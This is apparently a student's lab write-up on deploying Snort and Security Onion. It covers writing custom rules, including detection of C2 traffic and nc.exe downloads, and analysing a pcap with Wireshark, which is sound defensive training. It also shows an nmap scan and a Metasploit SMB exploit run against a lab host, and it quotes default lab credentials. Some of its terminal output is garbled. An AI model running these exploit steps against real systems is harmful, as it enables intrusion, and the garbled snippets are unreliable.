


Snort : Windows Version




Connecting to your lab

In this module, you will be working on the following equipment to carry

- **PLABDC01** (Windows Server 2016 - Domain Controller)
- **PLABDM01** (Windows Server 2016 - Member Server)
- **PLABWIN10** (Windows 10 - Domain Member)
- **PLABKALI01** (Kali 2016.2)
- **PLABDVWA** (Fedora)
- **PLABSECON** (Ubuntu-Security Onion)
- **PLABWIN701** (Windows 7)
- **PLABXP01** (Windows XP)

Installing Snort



Launching Snort with command lines

```

C:\Snort>dir
Volume in drive C has no label.
Volume Serial Number is BCA5-9EBD

Directory of C:\Snort

04/10/2020  03:00 PM    <DIR>          .
04/10/2020  03:00 PM    <DIR>          ..
04/10/2020  03:00 PM    <DIR>          bin
04/10/2020  03:00 PM    <DIR>          doc
04/10/2020  03:00 PM    <DIR>          etc
04/10/2020  03:00 PM    <DIR>          lib
04/10/2020  03:00 PM    <DIR>          log
04/10/2020  03:00 PM    <DIR>          preproc_rules
04/10/2020  03:00 PM    <DIR>          rules
04/10/2020  03:00 PM                50,103 Uninstall.exe
               1 File(s)                50,103 bytes
               9 Dir(s)  16,832,606,208 bytes free

C:\Snort>cd bin

C:\Snort\bin>snort -W

    _ _ _ _ _
    o"  )~
    ....


    -*) Snort! <*-
    Version 2.9.8.3-WIN32 GRE (Build 383)
    By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
    Copyright (C) 2014-2015 Cisco and/or its affiliates. All rights reserved.
    Copyright (C) 1998-2013 Sourcefire, Inc., et al.
    Using PCRE version: 8.10 2010-06-25
    Using ZLIB version: 1.2.3

Index   Physical Address   IP Address   Device Name   Description
-----

```



Snort : Linux version using Security Onion


Lab Topology







Setup icon to begin setting up Security Onion to function as a Network based IDS.






After the system reboot, I continued the setup





I am now logged in to the Snorby (a ruby-on-rails app using Snort, Suricata and Sagan) interface of the IDS and ready to analyze any new alerts.



On the kali machine, I launch a nmap scan, easy to detect on our IDS machine


```
Terminal
File Edit View Search Terminal Help
root-kali$ nmap 192.168.0.30

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2020-04-09 11:46 EDT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or sp
ecify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.0.30
Host is up (0.00045s latency).
Not shown: 992 closed ports
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
8000/tcp   open  http-alt
8089/tcp   open  unknown
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
MAC Address: 00:15:5D:01:80:03 (Microsoft)


Nmap done: 1 IP address (1 host up) scanned in 1.87 seconds
```

Then with Metasploit using a smb exploit, I simulate an attack aimed at the Windows 192.168.0.30

```
msf exploit(ms09_050_smb2_negotiate_func_index) > set lhost 5555
lhost => 5555
msf exploit(ms09_050_smb2_negotiate_func_index) > run

[*] Started reverse TCP handler on 0.0.21.179:4444
[*] 192.168.0.30:445 - Connecting to the target (192.168.0.30:445)...
[*] 192.168.0.30:445 - Sending the exploit packet (930 bytes)...
[*] 192.168.0.30:445 - Waiting up to 180 seconds for exploit to trigger...
```


The attack are detected on the IDS machine




Now let's say that I have received intelligence that suspected attackers have set up a C2 controller (Server) on our network and are communicating with it. I want to create snort rules that alert you to traffic to 172.16.200.2 and DNS lookups on Port 53 to monitor what DNS servers are being queried as it is suspected that DNS is being used as a covert channel to create outbound connections.

I have also noticed that the suspected attackers download nc.exe from ftp servers and deploy them on suspected systems. You want to see which servers in your enterprise are downloading this tool to be away of which systems have been possibly compromised.

Following the previous steps, I used the following setup:



Once the system rebooted I look at some of the existing rules within snort



```
# Path to your rules files (this can be a relative path)
# Note for Windows users: You are advised to make this an absolute path,
# such as: c:\snort\rules
var RULE_PATH /etc/nsm/rules
var SO_RULE_PATH /etc/nsm/so_rules
var PREPROC_RULE_PATH /etc/nsm/preproc_rules
```

The var is set to /etc/nsm/rules.

Let's browse to that directory

```
^Cstudent@onion-dmz:~$ cd /etc/nsm/rules
student@onion-dmz:/etc/nsm/rules$ ls -la
total 1608
drwxr-xr-x 2 root root 4096 Jun 4 2015 .
drwxr-xr-x 8 root root 4096 Jun 4 2015 ..
-r----- 1 root root 5520 Jun 4 2015 attack-responses.rules
-r----- 1 root root 17898 Jun 4 2015 backdoor.rules
-r----- 1 root root 3862 Jun 4 2015 bad-traffic.rules
-r----- 1 root root 7994 Jun 4 2015 chat.rules
-r----- 1 root root 12759 Jun 4 2015 community-bot.rules
-r----- 1 root root 1223 Jun 4 2015 community-deleted.rules
```

Checking the webrules file

```
web-attacks.rules
File Edit Search Options Help
# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights Reserved.
# The GPL Rules created by Sourcefire, Inc. are the property of Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights Reserved.
# All other GPL Rules are owned and copyrighted by their respective owners (please see www.snort.org/contributors for more information on owners and their respective copyrights). In order to determine if a rule is VRT Certified Rules or GPL Rules, please refer to the VRT Certified Rules License Agreement.
#
#
# $Id: web-attacks.rules,v 1.18.2.2.2.1 2005/05/16 22:17:52 r...
# -----
# WEB ATTACKS
# -----
# These signatures are generic signatures that will catch common attacks
# used to exploit form variable vulnerabilities. These signatures are
# not false very often.
#
# Please email example PCAP log dumps to snort-sigs@lists.sourceforge.net
# if you find one of these signatures to be too false positive.
#
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg "HTTP GET request to %H")
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg "HTTP POST request to %H")
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg "HTTP PUT request to %H")
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg "HTTP DELETE request to %H")
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg "HTTP HEAD request to %H")
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg "HTTP OPTIONS request to %H")
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg "HTTP TRACE request to %H")
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg "HTTP 200 OK response")
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg "HTTP 301 Moved Permanently response")
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg "HTTP 302 Found response")
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg "HTTP 404 Not Found response")
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg "HTTP 500 Internal Server Error response")
usage: sudo -v [-AknS] [-D level] [-g groupname|#gid] [-p prompt] [-U username]
usage: sudo -l[l] [-AknS] [-D level] [-g groupname|#gid] [-p prompt] [-U username]
usage: sudo [-AbEHknPS] [-C fd] [-D level] [-g groupname|#gid] [-p prompt] [-U username]
usage: sudo -e [-AknS] [-C fd] [-D level] [-g groupname|#gid] [-p prompt] [-U username]
student@onion-dmz:/etc/nsm/rules$ sudo su
[sudo] password for student:
root@onion-dmz:/etc/nsm/rules# leafpad web-attacks.rules
```

Now let's create custom rules

```
root@onion-dmz:/etc/nsm/onion-dmz-eth0# cd /etc/nsm/rules
root@onion-dmz:/etc/nsm/rules# sudo leafpad custom.rules
```



```
# These are rules in response to todays incident
alert tcp any any -> any 21 (msg:"Established FTP Connections"; flags:S; sid:10000;)
alert ip any any <> 172.16.200.2 any (msg:" KNOWN C2 Server "; sid:100001;)
alert tcp any any <> any any (msg: "Looking for nc.exe "; content:"nc.exe"; nocase; sid:10002;)
alert udp any any <> any any (msg: "DNS Requests ";sid:10004;)|
```

Snort rules consist of the following;

alert tcp any any -> any 21 (msg: "Established FTP connections "; flags:S; sid:10000;)

alert - what we want this rule to do (options include log, activate,reject)

tcp - the protocol we are monitoring (options include tcp,udp,icmp,ip)

any - the source ip address(s) or network (CIDR allowed)

any - The source port(s) we wish to monitor

-> the direction we wish to monitor -> outbound <- inbound <> both directions

any - The destination IP address (CIDR allowed)

21 - The destination port we wish to monitor

msg: - What message we wish to be included in the message

flags:S - This is the sync flag in a tcp connection.

sid:10001 - This is the security ID . Newer versions of snort required a security identifier with each log and will complain with they are duplicates. These are user created and must contain only numbers.

On the **snort.conf** we also add include **\$RULE_PATH/custom.rules**

```
*snort.conf
File Edit Search Options Help
# ensure smoother upgrades to future versions of this package.
include database.conf
#

# prelude
# output alert_prelude

# metadata reference data. do not modify these lines
include classification.config
include reference.config

#####
# Step #7: Customize your rule set
# For more information, see Snort Manual, Writing Snort Rules
#
# NOTE: All categories are enabled in this conf file
#####

# Note for Debian users: The rules preinstalled in the system
# can be *very* out of date. For more information please read
# the /usr/share/doc/snort-rules-default/README.Debian file

# site specific rules
include $RULE_PATH/local.rules
include $RULE_PATH/custom.rules
```

Now I test the custom rules by running it against a packet capture that contains data your alerts SHOULD fire on. I should always test my rules AGAINST a sample data set to ensure desired results. From a terminal emulator type the following:

sudo snort -l . -c /etc/nsm/onion-dmz-eth0/snort.conf -r /home/student/capture131.pcap

-l - Where to log the alerts to (here we use "." to signify current working directory)
-c - Which configuration file to use
-r - Which capture file to read into snort

```
student@onion-dmz:/etc/nsm/rules$ cat alert | grep FTP
[**] [1:10000:0] Established FTP Connections  [**]
[**] [1:553:7] POLICY FTP anonymous login attempt [**]
[**] [1:489:7] INFO FTP no password [**]
[**] [1:10000:0] Established FTP Connections  [**]
[**] [1:553:7] POLICY FTP anonymous login attempt [**]
[**] [1:489:7] INFO FTP no password [**]
```

Now let's say that there are credentials going across the wire in plain text. I will use Wireshark and Snort to examine a pcap file that the network team handed over to you

the syntax of snort:

the -l specifies where to place the log file, in this case it will be a single alert file.

the -c will specify the location on the hard disk for the snort.conf file

the -r tells snort to read the following capture file


```
Total sessions: 7
Packet stats
  Packets: 100
  Ignored bytes: 1159
  Maximum outstanding requests: 1
  SMB command requests/responses processed
    Close (0x04) : 1/1
    Transaction (0x25) : 6/2
      TRANS_TRANSACTION_NMPIPE (0x0026) : 2/2
    Transaction2 (0x32) : 3/0
      TRANS2_FIND_FIRST2 (0x0001) : 1/0
      TRANS2_QUERY_FS_INFORMATION (0x0003) : 1/0
      TRANS2_QUERY_PATH_INFORMATION (0x0005) : 1/0
    Tree Disconnect (0x71) : 5/5
    Negotiate (0x72) : 7/7
    Session Setup AndX (0x73) : 14/14
    Logoff AndX (0x74) : 2/2
    Tree Connect AndX (0x75) : 6/6
    Nt Create AndX (0xA2) : 1/1

DCE/RPC
  Connection oriented
  Packet stats
    PDUs: 4
    Bind: 1
    Bind Ack: 1
    Request: 1
    Response: 1
    Request fragments: 0
    Response fragments: 0
    Client PDU segmented reassembled: 0
    Server PDU segmented reassembled: 0
=====
SIP Preprocessor Statistics
  Total sessions: 0
=====
+-----[filtered events]-----
| gen-id=1      sig-id=2923      type=Threshold tracking=dst count=10  seconds=
60 filtered=1
| gen-id=1      sig-id=2924      type=Threshold tracking=dst count=10  seconds=
60 filtered=1
Snort exiting
student-onion-dmz$ sudo snort -l /home/student -c /etc/nsm/onion-dmz-eth0/snort.c
```

```
sudo snort -l /home/student -c /etc/nsm/onion-dmz-eth0/snort.conf -r capture131.pcap
```

Once snort exits, an alert file is generated.

```
student-onion-dmz$ls
alert          Desktop    manifest.txt  Public
capture131f.cap Documents    Music         tcpdump.log.1586451423
capture131.pcap Downloads   Pictures      Templates
```




```
<alert>
File Edit Search Options Help
010/9752]

[**] [1:538:15] NETBIOS SMB IPC$ unicode share access [**]
[Classification: Generic Protocol Command Decode] [Priority: 3]
03/03-21:00:16.051222 198.51.100.50:35271 -> 192.168.1.50:139
TCP TTL:63 TOS:0x0 ID:2916 IpLen:20 DgmLen:146 DF
***AP*** Seq: 0x2B1302C7 Ack: 0x9BFB099E Win: 0xF5 TcpLen: 32
TCP Options (3) => NOP NOP TS: 62556 159291

[**] [1:2404:5] NETBIOS SMB-DS Session Setup AndX request unicode username overflow attempt [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
03/03-21:03:47.047745 198.51.100.50:37902 -> 192.168.1.50:445
TCP TTL:63 TOS:0x0 ID:3837 IpLen:20 DgmLen:494 DF
***AP*** Seq: 0xEAE5CE06 Ack: 0x5FDDBF59 Win: 0xF5 TcpLen: 32
TCP Options (3) => NOP NOP TS: 115305 180189
[Xref => http://www.eeye.com/html/Research/Advisories/AD20040226.html][Xref => http://www.securit
bid/9752]
```

They both deal with FTP (File Transfer Protocol), which is sent over the network in clear text. Specifically, we see anonymous logins, which means a user logged on to the system without credentials.



```
[**] [1:553:7] POLICY FTP anonymous login attempt [**]
[Classification: Misc activity] [Priority: 3]
03/03-20:56:48.694625 198.51.100.50:34305 -> 192.168.1.50:21
TCP TTL:128 TOS:0x0 ID:233 IpLen:20 DgmLen:50 DF
***AP*** Seq: 0xCA47FBE3 Ack: 0xD97C3E4B Win: 0xFFEB TcpLen: 20

[**] [1:489:7] INFO FTP no password [**]
[Classification: Unknown Traffic] [Priority: 3]
03/03-20:56:49.670791 198.51.100.50:34305 -> 192.168.1.50:21
TCP TTL:128 TOS:0x0 ID:236 IpLen:20 DgmLen:47 DF
***AP*** Seq: 0xCA47FBED Ack: 0xD97C3E6D Win: 0xFFC9 TcpLen: 20
[Xref => http://www.whitehats.com/info/IDS322]
```

Next, let's view the next alert (telnet connection). Since data is also sent over plain-text with Telnet, you can see the traffic details. Also notice that this traffic is coming from an IP external to the network.



```
[**] [1:716:13] INFO TELNET access [**]
[Classification: Not Suspicious Traffic] [Priority: 3]
03/03-20:57:13.970065 192.168.1.50:23 -> 198.51.100.50:60809
TCP TTL:64 TOS:0x10 ID:20903 IpLen:20 DgmLen:64 DF
***AP*** Seq: 0xE9AA7247 Ack: 0xE1D8658B Win: 0xB5 TcpLen: 32
TCP Options (3) => NOP NOP TS: 141258 14511
[Xref => http://cgi.nessus.org/plugins/dump.php3?id=10280][Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?
name=1999-0619][Xref => http://www.whitehats.com/info/IDS08]
```

I open the capture file with Wireshark

Terminal

File Edit View Terminal Go Help

student-onion-dmz\$wireshark capture131.pcap


capture131.pcap [Wireshark 1.6.7]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help


Filter: Expression... Clear Apply

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	192.168.1.50	192.168.1.255	BROWSER	286	Local Master Announce
2	0.000047	192.168.1.50	192.168.1.255	BROWSER	257	Domain/Workgroup Announce
3	12.236800	Vmware_31:57:1e	Broadcast	ARP	42	Who has 192.168.1.50?
4	12.236962	Vmware_fa:dd:2a	Vmware_31:57:1e	ARP	42	192.168.1.50 is at 00
5	12.237102	198.51.100.50	192.168.1.50	TCP	60	37152 > http [SYN] Seq
6	12.237217	192.168.1.50	198.51.100.50	TCP	58	http > 37152 [SYN, ACK]
7	12.237522	198.51.100.50	192.168.1.50	TCP	60	37152 > http [RST] Seq
8	12.243064	198.51.100.50	192.168.1.50	TCP	60	37152 > smtp [SYN] Seq
9	12.243168	192.168.1.50	198.51.100.50	TCP	58	smtp > 37152 [SYN, ACK]
10	12.243405	198.51.100.50	192.168.1.50	TCP	60	37152 > smtp [RST] Seq
11	12.246522	198.51.100.50	192.168.1.50	TCP	60	37152 > microsoft-ds
12	12.246604	192.168.1.50	198.51.100.50	TCP	58	microsoft-ds > 37152

The FTP login successfully worked without any password



Saving the file as **ftp.txt**



tcp.stream eq 21
Expression... Clear Apply

Time	Source	Destination	Protocol	Length	Info
06:61.946620	198.51.100.50	192.168.1.50	TCP	74	60809 > telnet [SYN] Seq=0 Win=2
07:61.947062	192.168.1.50	198.51.100.50	TCP	74	telnet > 60809 [SYN, ACK] Seq=0
08:61.947643	198.51.100.50	192.168.1.50	TCP	66	60809 > telnet [ACK] Seq=1 Ack=1
09:61.951639	198.51.100.50	192.168.1.50	TELNET	93	Telnet Data ...

Follow TCP Stream
+

Stream Content

```


.....!..".'.'.#.....#..'.!.."......#.....'.
P.....38400,38400....#.kali:0.0....'.DISPLAY.kali:0.0.....xterm.....
[ASCII Art]
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: mmssffaaddmmiinn
.
Password: msfadmin
.
Last login: Sun Feb  1 00:44:23 EST 2015 on tty1

```

Entire conversation (1361 bytes)

☐ ASCII
 ☐ EBCDIC
 ☐ Hex Dump
 ☐ C Arrays
 ☒ Raw



er:	smb and tcp and ip.addr == 198.51.100.50			▼	Expression...	Clear	Apply
	Time	Source	Destination	Protocol	Length	Info	
262	254.040705	198.51.100.50	192.168.1.50	SMB	333	...	
264	254.041774	192.168.1.50	198.51.100.50	TCP	60	...	
266	254.046138	198.51.100.50	192.168.1.50	SMB	333	...	
267	254.047178	192.168.1.50	198.51.100.50	TCP	60	...	
268	254.050774	198.51.100.50	192.168.1.50	SMB	333	...	
270	254.096577	192.168.1.50	198.51.100.50	TCP	60	...	
271	254.096996	198.51.100.50	192.168.1.50	SMB	333	...	
273	254.097207	192.168.1.50	198.51.100.50	TCP	60	...	
274	254.097701	198.51.100.50	192.168.1.50	SMB	333	...	
275	254.097885	192.168.1.50	198.51.100.50	TCP	60	...	
276	254.099470	198.51.100.50	192.168.1.50	SMB	333	...	
277	254.099765	192.168.1.50	198.51.100.50	TCP	60	...	

Mark Packet (toggle)
Ignore Packet (toggle)
Set Time Reference (tog)
Manually Resolve Addre
Apply as Filter
Prepare a Filter
Conversation Filter
Colorize Conversation
SCTP
Follow TCP Stream